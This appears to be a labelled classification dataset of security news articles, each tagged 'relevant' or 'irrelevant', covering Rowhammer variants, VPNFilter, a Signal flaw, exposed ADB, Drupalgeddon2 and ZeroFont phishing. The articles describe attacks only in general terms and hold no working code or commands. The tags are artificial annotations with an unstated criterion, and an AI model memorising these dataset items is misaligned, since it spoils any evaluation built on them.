cryptocurrency mining script from CoinHive on each landing page if visited using desktop browsers to mine Monero. Keeping in mind these new capabilities and the rapid growth of the campaign, researchers believe that ""those behind it have a strong financial motivation and are probably well-funded."" Here's How to Protect Yourself from Roaming Mantis In order to protect yourself from such malware, you are advised to ensure your router is running the latest version of the firmware and protected with a strong password. Since the hacking campaign is using attacker-controlled DNS servers to spoof legitimate domains and redirect users to malicious download files, you are advised to make sure the sites you are visiting has HTTPS enabled. You should also disable your router's remote administration feature and hardcode a trusted DNS server into the operating system network settings. Android device users are always advised to install apps from official stores, and disable the installation of apps from unknown sources on their smartphone by heading on to Settings → Security → Unknown sources. To check if your Wi-Fi router is already compromised, review your DNS settings and check the DNS server address. If it does not match the one issued by your provider, change it back to the right one. Also change all your account passwords immediately.",relevant
"GLitch: New 'Rowhammer' Attack Can Remotely Hijack Android Phones For the very first time, security researchers have discovered an effective way to exploit a four-year-old hacking technique called Rowhammer to hijack an Android phone remotely. Dubbed GLitch, the proof-of-concept technique is a new addition to the Rowhammer attack series which leverages embedded graphics processing units (GPUs) to carry out a Rowhammer attack against Android smartphones. Rowhammer is a problem with recent generation dynamic random access memory (DRAM) chips in which repeatedly accessing a row of memory can cause ""bit flipping"" in an adjacent row, allowing anyone to change the value of contents stored in computer memory. Known since at least 2012, the issue was first exploited by Google's Project Zero researchers in early 2015, when they pulled off remote Rowhammer attacks on computers running Windows and Linux. Last year, a team of researchers in the VUSec Lab at Vrije Universiteit Amsterdam demonstrated that the Rowhammer technique could also work on Android smartphones, but with a major limitation of a malicious application being first installed on the target phone. However, the same team of researchers has now shown how their proof-of-concept attack ""GLitch,"" can exploit the Rowhammer attack technique simply by hosting a website running malicious JavaScript code to remotely hack an Android smartphone under just 2 minutes, without relying on any software bug. Since the malicious code runs only within the privileges of the web browser, it can spy on user's browsing pattern or steal their credentials. However, the attacker cannot gain further access to user's Android phone. Here's How GLitch Attack Works GLitch is the first remote Rowhammer technique that exploits the graphics processing units (GPU), which is found in almost all mobile processors, instead of the CPU that was exploited in all previous theorized versions of the Rowhammer attack. Since the ARM processors inside Android smartphones include a type of cache that makes it difficult to access targeted rows of memory, researchers make use of GPU, whose cache can be more easily controlled, allowing hackers to hammer targeted rows without any interference. The technique is named GLitch with first two letters capitalized because it uses a widely used browser-based graphics code library known as WebGL for rendering graphics to trigger a known glitch in DDR3 and DDR4 memory chips. Currently, GLitch targets smartphones running the Snapdragon 800 and 801 system on a chip—that includes both CPU and GPU—meaning the PoC works only on older Android phones like the LG Nexus 5, HTC One M8, or LG G2. The attack can be launched against Firefox and Chrome. In a video demonstration, the researchers show their JavaScript-based GLitch attack on a Nexus 5 running over Mozilla's Firefox browser to gain read/write privileges, giving them the ability to execute malicious code over the software. ""If you're wondering if we can trigger bit flips on Chrome the answer is yes, we can. As a matter of fact, most of our research was carried out on Chrome,"" the researchers said. ""We then switched to Firefox for the exploit just because we had prior knowledge of the platform and found more documentation."" No Software Patch Can Fully Fix the Rowhammer Issue Since Rowhammer exploits a computer hardware weakness, no software patch can completely fix the issue. Researchers say the Rowhammer threat is not only real but also has the potential to cause some real, severe damage. Although there's no way to fully block an Android phone's GPU from tampering with the DRAM, the team has been working with Google on ways to solve the problem. For more in-depth details on the new attack technique, you can head on to this informational page about GLitch and this paper [PDF] published by the researchers.",relevant
"New Rowhammer Attack Can Hijack Computers Remotely Over the Network Exploitation of Rowhammer attack just got easier. Dubbed 'Throwhammer,' the newly discovered technique could allow attackers to launch Rowhammer attack on the targeted systems just by sending specially crafted packets to the vulnerable network cards over the local area network. Known since 2012, Rowhammer is a severe issue with recent generation dynamic random access memory (DRAM) chips in which repeatedly accessing a row of memory can cause ""bit flipping"" in an adjacent row, allowing anyone to change the contents of computer memory. The issue has since been exploited in a number of ways to achieve remote code execution on the vulnerable computers and servers. Just last week, security researchers detailed a proof-of-concept Rowhammer attack technique, dubbed GLitch, that leverages embedded graphics processing units (GPUs) to carry out Rowhammer attacks against Android devices. However, all previously known Rowhammer attack techniques required privilege escalation on a target device, meaning attackers had to execute code on targeted machines either by luring victims to a malicious website or by tricking them into installing a malicious app. Unfortunately, this limitation has now been eliminated, at least for some devices. Researchers at the Vrije Universiteit Amsterdam and the University of Cyprus have now found that sending malicious packets over LAN can trigger the Rowhammer attack on systems running Ethernet network cards equipped with Remote Direct Memory Access (RDMA), which is commonly used in clouds and data centers. Since RDMA-enabled network cards allow computers in a network to exchange data (with read and write privileges) in the main memory, abusing it to access host's memory in rapid succession can trigger bit flips on DRAM. ""We rely on the commonly-deployed RDMA technology in clouds and data centers for reading from remote DMA buffers quickly to cause Rowhammer corruptions outside these untrusted buffers,"" researchers said in a paper [PDF] published Thursday. ""These corruptions allow us to compromise a remote Memcached server without relying on any software bug."" Since triggering a bit flip requires hundreds of thousands of memory accesses to specific DRAM locations within tens of milliseconds, a successful Throwhammer attack would require a very high-speed network of at least 10Gbps. In their experimental setup, researchers achieved bit flips on a targeted server after accessing its memory 560,000 times in 64 milliseconds by sending packets over LAN to its RDMA-enabled network card. Since Rowhammer exploits a computer hardware weakness, no software patch can completely fix the issue. Researchers believe the Rowhammer threat is not only real but also has potential to cause real, severe damage. For more in-depth details on the new attack technique, you can head on to this paper [PDF], titled ""Throwhammer: Rowhammer Attacks over the Network and Defenses,"" published by the researchers on Thursday.",relevant
Another severe flaw in Signal desktop app lets hackers steal your chats in plaintext ,relevant
"Severe Bug Discovered in Signal Messaging App for Windows and Linux Security researchers have discovered a severe vulnerability in the popular end-to-end encrypted Signal messaging app for Windows and Linux desktops which could allow remote attackers to execute malicious code on recipients system just by sending a message—without requiring any user interaction. Discovered by Alfredo Ortega, a software security consultant from Argentina, the vulnerability was announced on Twitter just a few hours ago with a proof-of-concept video, demonstrating how a javascript payload sent over Signal for desktop app successfully got executed on the recipient's system. Although technical details of the vulnerability have not been revealed as of now, the issue appears to be a remote code execution vulnerability in Signal or at least something very close to persistent cross-site scripting (XSS) which eventually could allow attackers to inject malicious code onto targeted Windows and Linux systems. ""For the time being, we can only confirm the execution of javascript code. However we are tracking a heap corruption issue, and it's very likely than the javascript execution could lead to native code execution with additional research."" Ortega told The Hacker News. Ortega also confirms us that the exploitation of this issue requires chaining a couple of vulnerabilities found by two other security researchers from Argentina, Ivan and Juliano. ""I can confirm that this bug did not exist before and was last introduced because the devs forgot why there was a regex there to begin with. I would like to recommend a comment to this comment if it is not repeated again (TBD),"" Ivan said. At this moment, it is not clear if the primary vulnerability or other chained bugs reside only in the source code of Signal or also in the popular Electron web application framework, the technology on which Signal desktop applications are based. If the flaw resides in the Electron framework, it might also impact other widely-used desktop applications as well, including Skype, Wordpress, and Slack, which also use the same framework. Moreover, the infosec community is also worried that if this flaw allows remote attackers to steal their secret encryption keys, it would be the worst nightmare for Signal users. The good news is that the Open Whisper Systems has already addressed the issue and immediately released new versions of Signal app within a few hours after receiving the responsible vulnerability disclosure by the researcher. The primary vulnerability that triggers the code execution has been patched in Signal stable release version 1.10.1 and pre-release version 1.11.0-beta.3. So, users are advised to update their Signal for desktop applications as soon as possible. ""At this time we are not sure they all [the vulnerabilities chained together] have been fixed"" Ortega told The Hacker News. The latest release also patched a recently disclosed vulnerability in Signal for desktop apps which was exposing disappearing messages in a user-readable database of macOS's Notification Center, even if they are deleted from the app. We will update this article as soon as we get more details of the vulnerability from the researcher. Till then, stay tuned to Facebook and Twitter accounts.",relevant
"FBI seizes control of a massive botnet that infected over 500,000 routers Shortly after Cisco's released its early report on a large-scale hacking campaign that infected over half a million routers and network storage devices worldwide, the United States government announced the takedown of a key internet domain used for the attack. Yesterday we reported about a piece of highly sophisticated IoT botnet malware that infected over 500,000 devices in 54 countries and likely been designed by Russia-baked state-sponsored group in a possible effort to cause havoc in Ukraine, according to an early report published by Cisco's Talos cyber intelligence unit on Wednesday. Dubbed VPNFilter by the Talos researchers, the malware is a multi-stage, modular platform that targets small and home offices (SOHO) routers and storage devices from Linksys, MikroTik, NETGEAR, and TP-Link, as well as network-access storage (NAS) devices. Meanwhile, the court documents unsealed in Pittsburgh on the same day indicate that the FBI has seized a key web domain communicating with a massive global botnet of hundreds of thousands of infected SOHO routers and other NAS devices. The court documents said the hacking group behind the massive malware campaign is Fancy Bear, a Russian government-aligned hacking group also known as APT28, Sofacy, X-agent, Sednit, Sandworm, and Pawn Storm. The hacking group has been in operation since at least 2007 and has been credited with a long list of attacks over the past years, including the 2016 hack of the Democratic National Committee (DNC) and Clinton Campaign to influence the U.S. presidential election. ""This operation is the first step in the disruption of a botnet that provides the Sofacy actors with an array of capabilities that could be used for a variety of malicious purposes, including intelligence gathering, theft of valuable information, destructive or disruptive attacks, and the misattribution of such activities,"" John Demers, the Assistant Attorney General for National Security, said in a statement. Among other, Talos researchers also found evidence that the VPNFilter source code share code with versions of BlackEnergy—the malware responsible for multiple large-scale attacks targeting devices in Ukraine that the U.S. government has attributed to Russia. VPNFilter has been designed in a way that it could be used to secretly conduct surveillance on its targets and gather intelligence, interfere with internet communications, monitor industrial control or SCADA systems, such as those used in electric grids, other infrastructure and factories, as well as conduct destructive cyber attack operations. The seizure of the domain that is part of VPNFilter's command-and-control infrastructure allows the FBI to redirect attempts by stage one of the malware (in an attempt to reinfect the device) to an FBI-controlled server, which will capture the IP address of infected devices and pass on to authorities around the globe who can remove the malware. Users of SOHO and NAS devices that are infected with VPNFilter are advised to reboot their devices as soon as possible, which eliminates the non-persistent second stage malware, causing the persistent first-stage malware on their infected device to call out for instructions. ""Although devices will remain vulnerable to reinfection with the second stage malware while connected to the Internet, these efforts maximize opportunities to identify and remediate the infection worldwide in the time available before Sofacy actors learn of the vulnerability in their command-and-control infrastructure,"" the DoJ said. Since VPNFilter does not exploit any zero-day vulnerability to infect its victims and instead searches for devices still exposed to known vulnerabilities or having default credentials, users are strongly recommended to change default credentials for their devices to prevent against the malware. Moreover, always put your routers behind a firewall, and turn off remote administration until and unless you really need it. If your router is by default vulnerable and can't be updated, it is time you buy a new one. You need to be more vigilant about the security of your smart IoT devices.",relevant
"Researchers unearth a huge botnet army of 500,000 hacked routers More than half a million routers and storage devices in dozens of countries have been infected with a piece of highly sophisticated IoT botnet malware, likely designed by Russia-baked state-sponsored group. Cisco's Talos cyber intelligence unit have discovered an advanced piece of IoT botnet malware, dubbed VPNFilter, that has been designed with versatile capabilities to gather intelligence, interfere with internet communications, as well as conduct destructive cyber attack operations. The malware has already infected over 500,000 devices in at least 54 countries, most of which are small and home offices routers and internet-connected storage devices from Linksys, MikroTik, NETGEAR, and TP-Link. Some network-attached storage (NAS) devices known to have been targeted as well. VPNFilter is a multi-stage, modular malware that can steal website credentials and monitor industrial controls or SCADA systems, such as those used in electric grids, other infrastructure and factories. The malware communicates over Tor anonymizing network and even contains a killswitch for routers, where the malware deliberately kills itself. Unlike most other malware that targets internet-of-things (IoT) devices, the first stage of VPNFilter persists through a reboot, gaining a persistent foothold on the infected device and enabling the deployment of the second stage malware. VPNFilter is named after a directory (/var/run/vpnfilterw) the malware creates to hide its files on an infected device. Since the research is still ongoing, Talos researchers ""do not have definitive proof on how the threat actor is exploiting the affected devices,"" but they strongly believe that VPNFilter does not exploit any zero-day vulnerability to infect its victims. Instead, the malware targets devices still exposed to well-known, public vulnerabilities or have default credentials, making compromise relatively straightforward. Talos researchers have high confidence that the Russian government is behind VPNFilter because the malware code overlaps with versions of BlackEnergy—the malware responsible for multiple large-scale attacks targeting devices in Ukraine that the U.S. government has attributed to Russia. Although devices infected with VPNFilter have been found across 54 countries, researchers believe the hackers are targeting specifically Ukraine, following a surge in the malware infections in the country on May 8. ""The malware has a destructive capability that can render an infected device unusable, which can be triggered on individual victim machines or en masse, and has the potential of cutting off internet access for hundreds of thousands of victims worldwide,"" Talos researcher William Largent said in a blog post. The researchers said they released their findings prior to the completion of their research, due to concern over a potential upcoming attack against Ukraine, which has repeatedly been the victim of Russian cyber attacks, including large-scale power outage and NotPetya. If you are already infected with the malware, reset your router to factory default to remove the potentially destructive malware and update the firmware of your device as soon as possible. You need to be more vigilant about the security of your smart IoT devices. To prevent yourself against such malware attacks, you are recommended to change default credentials for your device. If your router is by default vulnerable and cannot be updated, throw it away and buy a new one, it's that simple. Your security and privacy is more than worth a router's price. Moreover, always put your routers behind a firewall, and turn off remote administration until and unless you really need it.",relevant
"Thousands of Android Devices Running Insecure Remote ADB Service Despite warnings about the threat of leaving insecure remote services enabled on Android devices, manufacturers continue to ship devices with open ADB debug port setups that leave Android-based devices exposed to hackers. Android Debug Bridge (ADB) is a command-line feature that generally uses for diagnostic and debugging purposes by helping app developers communicate with Android devices remotely to execute commands and, if necessary, completely control a device. Usually, developers connect to ADB service installed on Android devices using a USB cable, but it is also possible to use ADB wirelessly by enabling a daemon server at TCP port 5555 on the device. If left enabled, unauthorized remote attackers can scan the Internet to find a list of insecure Android devices running ADB debug interface over port 5555, remotely access them with highest ""root"" privileges, and then silently install malware without any authentication. Therefore, vendors are recommended to make sure that the ADB interface for their Android devices is disabled before shipping. However, many vendors are failing to do so. In a Medium blog post published Monday, security researcher Kevin Beaumont said there are still countless Android-based devices, including smartphones, DVRs, Android smart TVs, and even tankers, that are still exposed online. ""This is highly problematic as it allows anybody — without any password — to remotely access these devices as 'root'* — the administrator mode — and then silently install software and execute malicious functions,"" Beaumont said. The threat is not theoretical, as researchers from Chinese security firm Qihoo 360's NetLab discovered a worm, dubbed ADB.Miner, earlier this year, that was exploiting the ADB interface to infect insecure Android devices with a Monero (XMR) mining malware. android-adb-hack Smartphones, smart TVs, and TV set-top boxes were believed to be targeted by the ADB.Miner worm, which managed to infect more than 5,000 devices in just 24 hours. Now, Beaumont once again raised the community concerns over this issue. Another researcher also confirmed that the ADB.Miner worm spotted by Netlab in February is still alive with millions of scans detected in the past month itself. ""@GossiTheDog inspired me to take a look back at the ADB.Miner worm, which I've been fingerprinting in February. It seems that it lives and it feels pretty well. I've checked out two days (4th, 5th of June) - about 40 000 unique IP addresses. I'll provide some deep analysis soon,"" Piotr Bazydło, IT Security researcher at NASK, tweeted. Although it is difficult to know the exact number of devices due to Network Address Translation and dynamic IP reservations, Beaumont says ""it is safe to say 'a lot.'"" In response to Beaumont's blog post, the Internet of Things (IoT) search engine Shodan also added the capability to look for port 5555. Based on the scanning IP addresses, the majority of exposed devices are found in Asia, including China and South Korea. Kevin advises vendors to stop shipping products with Android Debug Bridge enabled over a network, as it creates a Root Bridge—a situation anybody can misuse the devices. Since ADB debug connection is neither encrypted nor requires any password or key exchange, Android device owners are advised to disable it immediately.",relevant
"Google Developer Discovers a Critical Bug in Modern Web Browsers Google researcher has discovered a severe vulnerability in modern web browsers that could have allowed websites you visit to steal the sensitive content of your online accounts from other websites that you have logged-in the same browser. Discovered by Jake Archibald, developer advocate for Google Chrome, the vulnerability resides in the way browsers handle cross-origin requests to video and audio files, which if exploited, could allow remote attackers to even read the content of your Gmail or private Facebook messages. For security reasons, modern web browsers don't allow websites to make cross-origin requests to a different domain unless any domain explicitly allows it. That means, if you visit a website on your browser, it can only request data from the same origin the site was loaded from, preventing it from making any unauthorized request on your behalf in an attempt to steal your data from other sites. However, web browsers do not respond in the same way while fetching media files hosted on other origins, allowing a website you visit to load audio/video files from different domains without any restrictions. Moreover, browsers also support range header and partial content responses, allowing websites to serve partial content of a large media file, which is useful while playing a large media or downloading files with pause and resume ability. In other words, media elements have an ability to join pieces of multiple responses together and treat it as a single resource. However, Archibald found that Mozilla FireFox and Microsoft Edge allowed media elements to mix visible and opaque data or opaque data from multiple sources together, leaving a sophisticated attack vector open for attackers. hacking-web-browsers In a blog post published today, Archibald detailed this vulnerability, which he dubbed Wavethrough, explaining how an attacker can leverage this feature to bypass protections implemented by browsers that prevent cross-origin requests. ""Bugs started when browsers implemented range requests for media elements, which wasn't covered by the standard. These range requests were genuinely useful, so all browsers did it by copying each others behaviour, but no one integrated it into the standard,"" Archibald explained. According to Archibald, this loophole can be exploited by a malicious website using an embedded media file on its webpage, which if played, only serves partial content from its own server and asks the browser to fetch rest of the file from a different origin, forcing the browser to make a cross-origin request. The second request, which actually is a cross-origin request and should be restricted, will be successful because mixing visible and opaque data are allowed for a media file, allowing one website to steal content from the other. ""I created a site that does the above. I used a PCM WAV header because everything after the header is valid data, and whatever Facebook returned would be treated as uncompressed audio,"" Archibald said. Archibald has also published a video, and a proof-of-concept exploit demonstrating how a malicious website can fetch your private content from websites like Gmail and Facebook, whose response will be same for the malicious site as your browser loads them for you. Since Chrome and Safari already have a policy in place to reject such cross-origin requests as soon as they see any redirection after the underlying content appears to have changed between requests, their users are already protected. ""This is why standards are important. I believe Chrome had a similar security issue long ago, but instead of just fixing it in Chrome, the fix should have been written into a standard, and tests should have been written for other browsers to check against,"" Archibald said. FireFox and Edge browsers that were found vulnerable to this issue have also patched the vulnerability in their latest versions after Archibald responsibly reported it to their security teams. Therefore, FireFox and Edge browser users are highly recommended to make sure that they are running the latest version of these browsers.",relevant
"Chinese Hackers Carried Out Country-Level Watering Hole Attack Cybersecurity researchers have uncovered an espionage campaign that has targeted a national data center of an unnamed central Asian country in order to conduct watering hole attacks. The campaign is believed to be active covertly since fall 2017 but was spotted in March by security researchers from Kaspersky Labs, who have attributed these attacks to a Chinese-speaking threat actor group called LuckyMouse. LuckyMouse, also known as Iron Tiger, EmissaryPanda, APT 27 and Threat Group-3390, is the same group of Chinese hackers who was found targeting Asian countries with Bitcoin mining malware early this year. The group has been active since at least 2010 and was behind many previous attack campaigns resulting in the theft of massive amounts of data from the directors and managers of US-based defense contractors. This time the group chose a national data center as its target from an unnamed country in Central Asia in an attempt to gain ""access to a wide range of government resources at one fell swoop."" According to the researchers, the group injected malicious JavaScript code into the official government websites associated with the data center in order to conduct watering hole attacks. chinese hackers watering hole attack Although LuckyMouse has been spotted using a widely used Microsoft Office vulnerability (CVE-2017-11882) to weaponize Office documents in the past, researchers have no proofs of this technique being used in this particular attack against the data center. The initial attack vector used in the attack against the data center is unclear, but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center. The attack against the data center eventually infected the targeted system with a piece of malware called HyperBro, a Remote Access Trojan (RAT) deployed to maintain persistence in the targeted system and for remote administration. ""There were traces of HyperBro in the infected data center from mid-November 2017. Shortly after that different users in the country started being redirected to the malicious domain update.iaacstudio[.]com as a result of the waterholing of government websites,"" the researchers said in a blog post published today. ""These events suggest that the data center infected with HyperBro and the waterholing campaign are connected."" As a result of the waterholing attack, the compromised government websites redirected the country's visitors to either penetration testing suite Browser Exploitation Framework (BeEF) that focuses on the web browser, or the ScanBox reconnaissance framework, which perform the same tasks as a keylogger. The main command and control (C&C) server used in this attack is hosted on an IP address which belongs to a Ukrainian ISP, specifically to a MikroTik router running a firmware version released in March 2016. Researchers believe the Mikrotik router was explicitly hacked for the campaign in order to process the HyperBro malware's HTTP requests without detection.",irrelevant
"Ex-CIA employee charged with leaking 'Vault 7' hacking tools to Wikileaks A 29-year-old former CIA computer programmer who was charged with possession of child pornography last year has now been charged with masterminding the largest leak of classified information in the agency's history. Joshua Adam Schulte, who once created malware for both the CIA and NSA to break into adversaries computers, was indicted Monday by the Department of Justice on 13 charges of allegedly stealing and transmitting thousands of classified CIA documents, software projects, and hacking utilities. Schulte has also been suspected of leaking the stolen archive of documents to anti-secrecy organization WikiLeaks, who then began publishing the classified information in March 2017 in a series of leaks under the name ""Vault 7."" It is yet unconfirmed whether Schulte leaked documents to WikiLeaks and if yes, then when, but he had already been a suspect since January 2017 of stealing classified national defense information from the CIA in 2016. According to the indictment, after stealing the classified documents, Schulte tried to cover his tracks by altering a computer operated by the US Intelligence Agency to grant him unauthorized access to the system in March and June of 2016 and then deleting records of his activities and denying others access to the system. In March 2017, during when WikiLeaks began releasing some of the CIA's hacking tools, the FBI agents searched Schulte's apartment as part of an ongoing investigation to find the mastermind behind the Vault 7 leaks. cia-joshuaa-dam-schulte-hacking-tools-wikileaks However, instead, the FBI found images of children being molested by adults on a server he created in 2009 while he was a student at the University of Texas. The maximum penalty for this is 130 years in prison. Schulte was arrested in August 2017 with possession of child pornography, but prosecutors had been unable to bring charges of ""disclosure of the classified information"" against him until now. However, now the revised indictment includes 13 counts of charges related to the theft and disclosure of the classified information to WikiLeaks and his possession of child pornography. Here's the list of charges against him: illegal gathering of national defense information, illegal transmission of lawfully possessed national defense information, illegal transmission of unlawfully possessed national defense information, unauthorized access to a computer to obtain classified information, theft of Government property, unauthorized access of a computer to obtain information from a Department or Agency of the United States, causing transmission of a harmful computer program, information, code, or command, making material false statements to representatives of the FBI, obstruction of justice, receipt of child pornography, possession of child pornography, transportation of child pornography, and copyright infringement. Schulte has pleaded not guilty to the child pornography charges and has repeatedly denied any of his involvement in the Vault 7 case. The Vault 7 release was one of the most significant leaks in the CIA's history, exposing secret cyber weapons and spying techniques that the United States used to monitor or break into computers, mobile phones, televisions, webcams, video streams, and more. For more information on the hacking tools and techniques, you can head on to our previous coverage of the Vault 7 leaks.",irrelevant
"Price Dropped: Get Lifetime Access to Cisco Certification Courses 2019 With the migration of governments and enterprises towards controller-based architectures, the role of a core network engineer has become more important than ever. Today, majority of interconnected wide area networks (WANs) and local area networks (LANs) in the world run on Cisco routers and other Cisco networking equipment, and therefore most organizations need network engineers to maintain and program these networks. So, if you are looking forward to making career advancement in networking, then Cisco's CCNA and CCNP certifications are one of the most highly reputed entry-level networking certifications in the industry. While CCNA, or Cisco Certified Network Associate, is for entry-level network engineers to maximize their foundational networking knowledge, CCNP or Cisco Certified Network Professional is intended for professionals to implement, maintain and plan Cisco's wide range of high-end network solution products. But how long have you wanted to take CCNA and CCNP training classes to achieve the certifications, only to realize the cost is just too high? Not anymore, because this week's THN Deal Store brings you lifetime access to the Ultimate Cisco Certification Super Bundle, which offers nine comprehensive courses, all for just $49. This nine-part bundle covers everything you need for passing Cisco's CCNA certification exams—from interconnecting Cisco networking devices to implementing Cisco IP routing. Here's the list of nine gigantic courses offered by Ultimate Cisco Certification Super Bundle: Cisco 100-105 Interconnecting Cisco Networking Devices Part 1 (ICND1 V3) Cisco 200-105 Interconnecting Cisco Networking Devices Part 2 (ICND2 V3) Cisco 210-260: Implementing Cisco Network Security Cisco 200-355: Implementing Cisco Wireless Networking Fundamentals Cisco 210-060: Implementing Cisco Collaboration Devices (CICD) Cisco 210-065: Implementing Cisco Video Network Devices (CIVND1 & CIVND2) Cisco 300-101 ROUTE - Implementing Cisco IP Routing Cisco 300-115 SWITCH - Implementing Cisco IP Switched Networks Cisco 300-135 TSHOOT - Troubleshooting And Maintaining Cisco IP Networks Each part of the above training is a standalone course specifically designed to help you pass each one of Cisco's exams. The training will teach you how to manage and optimize network systems, focus on network infrastructure, including routing, switching, wireless access, security, and connectivity to branch offices using WAN. This Ultimate Cisco Certification Super Bundle will also help you develop skills required to work on advanced security, voice, wireless, and video solutions, as well as prepare you enough to earn your CCNA and CCNP certifications. So, what you are waiting for? Just sign in and grab the deal before it's too late.",irrelevant
"Cortana Software Could Help Anyone Unlock Your Windows 10 Computer Cortana, an artificial intelligence-based smart assistant that Microsoft has built into every version of Windows 10, could help attackers unlock your system password. With its latest patch Tuesday release, Microsoft has pushed an important update to address an easily exploitable vulnerability in Cortana that could allow hackers to break into a locked Windows 10 system and execute malicious commands with the user's privileges. In worst case scenario, hackers could also compromise the system completely if the user has elevated privileges on the targeted system. cortana-windows-password-hack The elevation of privilege vulnerability, tracked as CVE-2018-8140 and reported by McAfee security researchers, resides due to Cortana's failure to adequately check command inputs, which eventually leads to code execution with elevated permissions. ""An Elevation of Privilege vulnerability exists when Cortana retrieves data from user input services without consideration for status,"" Microsoft explains. ""An attacker who successfully exploited the vulnerability could execute commands with elevated permissions."" Microsoft has classified the flaw as ""important"" because exploitation of this vulnerability requires an attacker to have physical or console access to the targeted system and the targeted system also needs to have Cortana enabled. Cedric Cochin of McAfee's Advanced Threat Research (ATR) team has published technical details of the flaw, and also provided a step-by-step proof-of-concept video tutorial, showing how he hijacked a locked Windows 10 computer by carrying out a full password reset using Cortana. ""Cochin discovered that by simply typing while Cortana starts to listen to a request or question on a locked device, he could bring up a search menu. Cochin didn't even have to say anything to Cortana, but simply clicked on the ""tap and say"" button and started typing in words,"" a blog post on McAfee explained. Cochin represents three different attack vectors, demonstrating how the Cortana flaw could be used for various nefarious purposes, such as retrieving confidential information, logging into a locked device and even run malicious code from the locked screen. McAfee recommends users to turn off Cortana on the lock screen in order to prevent such attacks. Although Microsoft has patched the vulnerability with its latest security updates released yesterday, many PCs will not be running the latest updates just yet.",relevant
"New Malware Family Uses Custom UDP Protocol for C&C Communications Security researchers have uncovered a new highly-targeted cyber espionage campaign, which is believed to be associated with a hacking group behind KHRAT backdoor Trojan and has been targeting organizations in South East Asia. According to researchers from Palo Alto, the hacking group, which they dubbed RANCOR, has been found using two new malware families—PLAINTEE and DDKONG—to target political entities primarily in Singapore and Cambodia. However, in previous years, threat actors behind KHRAT Trojan were allegedly linked to a Chinese cyber espionage group, known as DragonOK. While monitoring the C&C infrastructure associated with KHRAT trojan, researchers identified multiple variants of these two malware families, where PLAINTEE appears to be the latest weapon in the group's arsenal that uses a custom UDP protocol to communicate with its remote command-and-control server. To deliver both PLAINTEE and DDKONG, attackers use spear phishing messages with different infection vectors, including malicious macros inside Microsoft Office Excel file, HTA Loader, and DLL Loader, which includes decoy files. cyber-espionage-malware ""These decoys contain details from public news articles focused primarily on political news and events,"" researchers explain. ""Additionally, these decoy documents are hosted on legitimate websites including a government website belonging to the Cambodia Government and in at least once case, Facebook."" Moreover, PLAINTEE downloads and installs additional plugins from its C&C server using the same custom UDP protocol that transmits data in encoded form. ""These families made use of custom network communication to load and execute various plugins hosted by the attackers,"" researchers say. ""Notably the PLAINTEE malware' use of a custom UDP protocol is rare and worth considering when building heuristics detections for unknown malware."" On the other hand, DDKONG has been in use by the hacking group since February 2017 and doesn't have any custom communication protocol like PLAINTEE, though it is unclear whether one threat actor or more only use this malware. According to researchers, the final payload of both malware families suggests that the purpose of both malware is to conduct cyber espionage on their political targets; instead of stealing money from their targets. Since RANCOR group is primarily targeting non-tech-savvy users, it is always advised to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless adequately verifying the source. Moreover, most importantly, make use of behavioral-based antivirus software that can detect and block such malware before it can infect your device, and always keep it and other apps up-to-date.",irrelevant
"Over 115,000 Drupal Sites Still Vulnerable to Drupalgeddon2 Exploit Hundreds of thousands of websites running on the Drupal CMS—including those of major educational institutions and government organizations around the world—have been found vulnerable to a highly critical flaw for which security patches were released almost two months ago. Security researcher Troy Mursch scanned the whole Internet and found over 115,000 Drupal websites are still vulnerable to the Drupalgeddon2 flaw despite repetitive warnings. Drupalgeddon2 (CVE-2018-7600) is a highly critical remote code execution vulnerability discovered late March in Drupal CMS software (versions < 7.58 / 8.x < 8.3.9 / 8.4.x < 8.4.6 / 8.5.x < 8.5.1) that could allow attackers to completely take over vulnerable websites. For those unaware, Drupalgeddon2 allows an unauthenticated, remote attacker to execute malicious code on default or standard Drupal installations under the privileges of the user. Since Drupalgeddon2 had much potential to derive attention of motivated attackers, the company urged all website administrators to install security patches immediately after it was released in late March and decided not to release any technical details of the flaw initially. drupal-hacking-exploit However, attackers started exploiting the vulnerability only two weeks after complete details and proof-of-concept (PoC) exploit code of Drupalgeddon2 was published online, which was followed by large-scale Internet scanning and exploitation attempts. Shortly after that, we saw attackers developed automated exploits leveraging Drupalgeddon 2 vulnerability to inject cryptocurrency miners, backdoors, and other malware into websites, within few hours after it's detailed went public. Mursch scanned the Internet and found nearly 500,000 websites were running on Drupal 7, out of which 115,070 were still running an outdated version of Drupal vulnerable to Drupalgeddon2. While analyzing vulnerable websites, Mursch noticed that hundreds of them—including those of Belgium police department, Colorado Attorney General office, Fiat subsidiary Magneti Marelli and food truck locating service—have already been targeted by a new cryptojacking campaign. Mursch also found some infected websites in the campaign that had already upgraded their sites to the latest Drupal version, but the cryptojacking malware still existed. We have been warning users since March that if you are already infected with the malware, merely updating your Drupal website would not remove the ""backdoors or fix compromised sites."" To fully resolve the issue you are recommended to follow this Drupal guide.",relevant
"Email Phishers Using A Simple Way to Bypass MS Office 365 Protection Security researchers have been warning about a simple technique that cyber criminals and email scammers are using in the wild to bypass most AI-powered phishing detection mechanisms implemented by widely used email services and web security scanners. Dubbed ZeroFont, the technique involves inserting hidden words with a font size of zero within the actual content of a phishing email, keeping its visual appearance same, but at the same time, making it non-malicious in the eyes of email security scanners. According to cloud security company Avanan, Microsoft Office 365 also fails to detect such emails as malicious crafted using ZeroFont technique. Like Microsoft Office 365, many emails and web security services use natural language processing and other artificial intelligence-based machine learning techniques to identify malicious or phishing emails faster. The technology helps security companies to analyze, understand and derive meaning from unstructured text embedded in an email or web page by identifying text-based indicators, like email scams mimicking a popular company, phrases used to request for payments or password resets, and more. microsoft-email-security-phishing However, by adding random zero font-size characters between the indicator texts present in a phishing email, cybercriminals can transform these indicators into an unstructured garbage text, hiding them from the natural language processing engine. Therefore, the email looks normal to a human eye, but Microsoft reads the entire garbage text, even if some words are displayed with a font size of ""0."" ""Microsoft can not identify this as a spoofing email because it cannot see the word 'Microsoft' in the un-emulated version,"" reads Avanan's blog post. ""Essentially, the ZeroFont attack makes it possible to display one message to the anti-phishing filters and another to the end user."" Besides the ZeroFont technique, Avanan also detected hackers using other similar tricks that involve Punycode, Unicode, or Hexadecimal Escape Characters in their phishing attacks. Last month, researchers from the same company reported that cybercriminals had been splitting up the malicious URL in a way that the Safe Links security feature in Office 365 fails to identify and replace the partial hyperlink, eventually redirecting victims to the phishing site.",relevant
